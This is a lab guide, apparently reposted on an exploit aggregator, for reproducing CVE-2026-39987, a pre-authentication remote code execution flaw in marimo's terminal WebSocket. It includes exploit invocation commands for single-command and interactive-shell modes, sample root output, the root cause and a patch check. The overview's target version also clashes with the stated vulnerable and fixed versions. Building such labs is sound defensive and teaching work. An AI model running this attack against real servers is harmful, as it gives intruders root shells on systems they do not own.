Share
## https://sploitus.com/exploit?id=ADD6C51D-B871-5385-B429-4F2F3FD6DB7C
# CVE-2026-39987 Lab Guide

> **Pre-Auth Remote Code Execution via Terminal WebSocket Authentication Bypass**
>
> An educational Docker lab for understanding, reproducing, and patching this critical vulnerability in marimo.

---

## Table of Contents

- [Overview](#overview)
- [Architecture](#architecture)
- [Quick Start](#quick-start)
- [Step-by-Step Walkthrough](#step-by-step-walkthrough)
  - [Step 1: Build & Start the Lab](#step-1-build--start-the-lab)
  - [Step 2: Confirm Authentication is Active](#step-2-confirm-authentication-is-active)
  - [Step 3: Run the Exploit](#step-3-run-the-exploit)
  - [Step 4: Understand the Bypass](#step-4-understand-the-bypass)
  - [Step 5: Patch Verification](#step-5-patch-verification)
- [Troubleshooting](#troubleshooting)
- [Cleanup](#cleanup)
- [References](#references)

---

## Overview

| | |
|:---|:---|
| **Target** | marimo `= 0.23.0` |

> ⚠️ **Ethical Use Only**: This lab is designed for security researchers, developers, and students to understand how authentication bypass vulnerabilities occur and how to properly fix them. Run only in isolated environments.

---

## Architecture

```
β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚                        Docker Network                         β”‚
β”‚                        (cve-lab)                              β”‚
β”‚                                                              β”‚
β”‚   β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”      β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”   β”‚
β”‚   β”‚   marimo-vulnerable  β”‚      β”‚   marimo-attacker    β”‚   β”‚
β”‚   β”‚   (Target)           β”‚      β”‚   (Attacker)         β”‚   β”‚
β”‚   β”‚   Port: 2718         β”‚      β”‚   Python 3.12        β”‚   β”‚
β”‚   β”‚   Auth: Token        │◄─────│   exploit.py         β”‚   β”‚
β”‚   β”‚   marimo: 0.20.4     β”‚      β”‚                      β”‚   β”‚
β”‚   β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜      β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜   β”‚
β”‚                                                              β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
```

**Files in this lab:**

| File | Purpose |
|------|---------|
| `Dockerfile.target` | Builds the vulnerable marimo server |
| `docker-compose.yml` | Orchestrates target and attacker containers |
| `exploit.py` | PoC exploit script (single command + interactive mode) |
| `LAB_GUIDE.md` | This guide |

---

## Quick Start

```bash
# Clone the repo
git clone https://github.com/YOUR_USERNAME/CVE-2026-39987-lab.git
cd CVE-2026-39987-lab

# Start the lab
docker-compose up --build -d

# Run the exploit
pip install websocket-client
python exploit.py ws://127.0.0.1:2718/terminal/ws exec "id && whoami && hostname"

# Get an interactive shell
python exploit.py ws://127.0.0.1:2718/terminal/ws shell
```

---

## Step-by-Step Walkthrough

### Step 1: Build & Start the Lab

```bash
# Create a working directory and place these files inside:
#    - docker-compose.yml
#    - Dockerfile.target
#    - exploit.py

# Build and start the target
docker-compose up --build -d

# Verify the target is running
docker ps
# You should see: marimo-vulnerable   Up   0.0.0.0:2718->2718/tcp
```

**What happens:**
- Docker builds a container with marimo `0.20.4` (vulnerable version)
- The server starts in `edit` mode with `--token` authentication explicitly enabled
- Port `2718` is exposed to your host

---

### Step 2: Confirm Authentication is Active

Before exploiting, let's verify the target is properly protected on legitimate endpoints:

```bash
# Try to open the main UI in a browser or via curl
curl -s http://127.0.0.1:2718/
# Expected: Redirect to login page or 401/403 (token required)

# Try the main WebSocket (/ws) without a token
python3 -c "import websocket; ws=websocket.WebSocket(); ws.connect('ws://127.0.0.1:2718/ws')"
# Expected: Connection rejected or closed immediately due to missing auth
```

> **Key Observation:** The main application endpoints correctly enforce authentication. The vulnerability lies in a secondary endpoint that was overlooked.

---

### Step 3: Run the Exploit

#### Option A β€” Single command execution

```bash
pip install websocket-client
python exploit.py ws://127.0.0.1:2718/terminal/ws exec "id && whoami && hostname"
```

**Expected output:**
```
[+] Connecting to ws://127.0.0.1:2718/terminal/ws...
[+] Connected! No auth needed - Terminal WebSocket accepted
[*] Executing: id && whoami && hostname

[+] Output:
uid=0(root) gid=0(root) groups=0(root)
root

```

#### Option B β€” Interactive shell

```bash
python exploit.py ws://127.0.0.1:2718/terminal/ws shell
```

You will get a `$` prompt where you can run arbitrary system commands:

```
[+] Got interactive shell! Type 'exit' to quit.

$ ls -la /
total 56
drwxr-xr-x   1 root root 4096 Jan  1 00:00 .
drwxr-xr-x   1 root root 4096 Jan  1 00:00 ..
...
$ exit
[*] Connection closed.
```

---

### Step 4: Understand the Bypass

#### Why does this work?

The vulnerability exists because of an **inconsistent authentication check** across WebSocket endpoints:

```
β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚  Authentication Middleware (Starlette)                          β”‚
β”‚  β”œβ”€β”€ Marks unauthenticated connections as "UnauthenticatedUser" β”‚
β”‚  └── Does NOT automatically close WebSocket connections         β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
                              β”‚
              β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”΄β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
              β–Ό                               β–Ό
    β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”          β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
    β”‚   /ws (Main)     β”‚          β”‚ /terminal/ws     β”‚
    β”‚                  β”‚          β”‚ (Terminal)       β”‚
    β”‚  βœ“ validate_auth()β”‚          β”‚  βœ— NO auth check β”‚
    β”‚  βœ“ @requires("edit")β”‚        β”‚  βœ“ SessionMode.EDITβ”‚
    β”‚                  β”‚          β”‚  βœ“ supports_terminal()β”‚
    β”‚  Rejects unauth  β”‚          β”‚  βœ“ Accepts immediatelyβ”‚
    β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜          β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
```

#### Root Cause Breakdown

1. **Authentication middleware** (`Starlette AuthenticationMiddleware`) marks unauthenticated connections as `UnauthenticatedUser` but does **not** close WebSocket connections automatically.

2. **Correct endpoints** (e.g., `/ws`) call `validate_auth()` or use `@requires("edit")`, rejecting unauthenticated clients.

3. **Vulnerable endpoint** (`/terminal/ws`) only checks:
   - `SessionMode.EDIT` β€” ensures the server is in edit mode
   - `supports_terminal()` β€” ensures terminal feature is available
   - ...then immediately calls `await websocket.accept()` **without** any auth check.

4. **Impact:** `pty.fork()` spawns a full PTY shell running as the server user (root in the default Docker image), giving the attacker complete system access.

#### The Fix (marimo >= 0.23.0)

The patch adds proper authentication validation to the `/terminal/ws` endpoint, ensuring it matches the security posture of other endpoints.

---

### Step 5: Patch Verification

Upgrade the target to the patched version and re-run the exploit to confirm the fix:

```bash
# Edit Dockerfile.target: change marimo==0.20.4 to marimo==0.23.0
# Or use: sed -i 's/marimo==0.20.4/marimo==0.23.0/' Dockerfile.target

docker-compose down
docker-compose up --build -d

# Try the exploit again
python exploit.py ws://127.0.0.1:2718/terminal/ws exec "id"
```

**Expected after patch:**
```
[+] Connecting to ws://127.0.0.1:2718/terminal/ws...
[-] Connection failed: Connection refused or authentication required
```

The connection is now rejected/closed immediately; no shell is obtained. βœ…

---

## Troubleshooting

| Issue | Solution |
|-------|----------|
| `Connection refused` | Ensure the container is running: `docker ps` and check logs with `docker logs marimo-vulnerable` |
| `ModuleNotFoundError: No module named 'websocket'` | Install the client: `pip install websocket-client` |
| No output from exploit | Increase timeout: `python exploit.py ... --timeout 20` |
| Container exits immediately | Check Dockerfile syntax and ensure `test.py` notebook is created properly |
| Permission denied | Ensure Docker daemon is running and you have proper permissions |

---

## Cleanup

```bash
# Stop and remove containers
docker-compose down -v

# Remove the built image
docker rmi cve-lab_target

# Clean up any dangling images
docker image prune -f
```

---

## References

- **GitHub Security Advisory:** https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
- **Patch PR:** https://github.com/marimo-team/marimo/pull/9098
- **CVE Record:** https://cveawg.mitre.org/api/cve/CVE-2026-39987
- **marimo Documentation:** https://docs.marimo.io

---



**Built for educational purposes. Use responsibly.** πŸ”’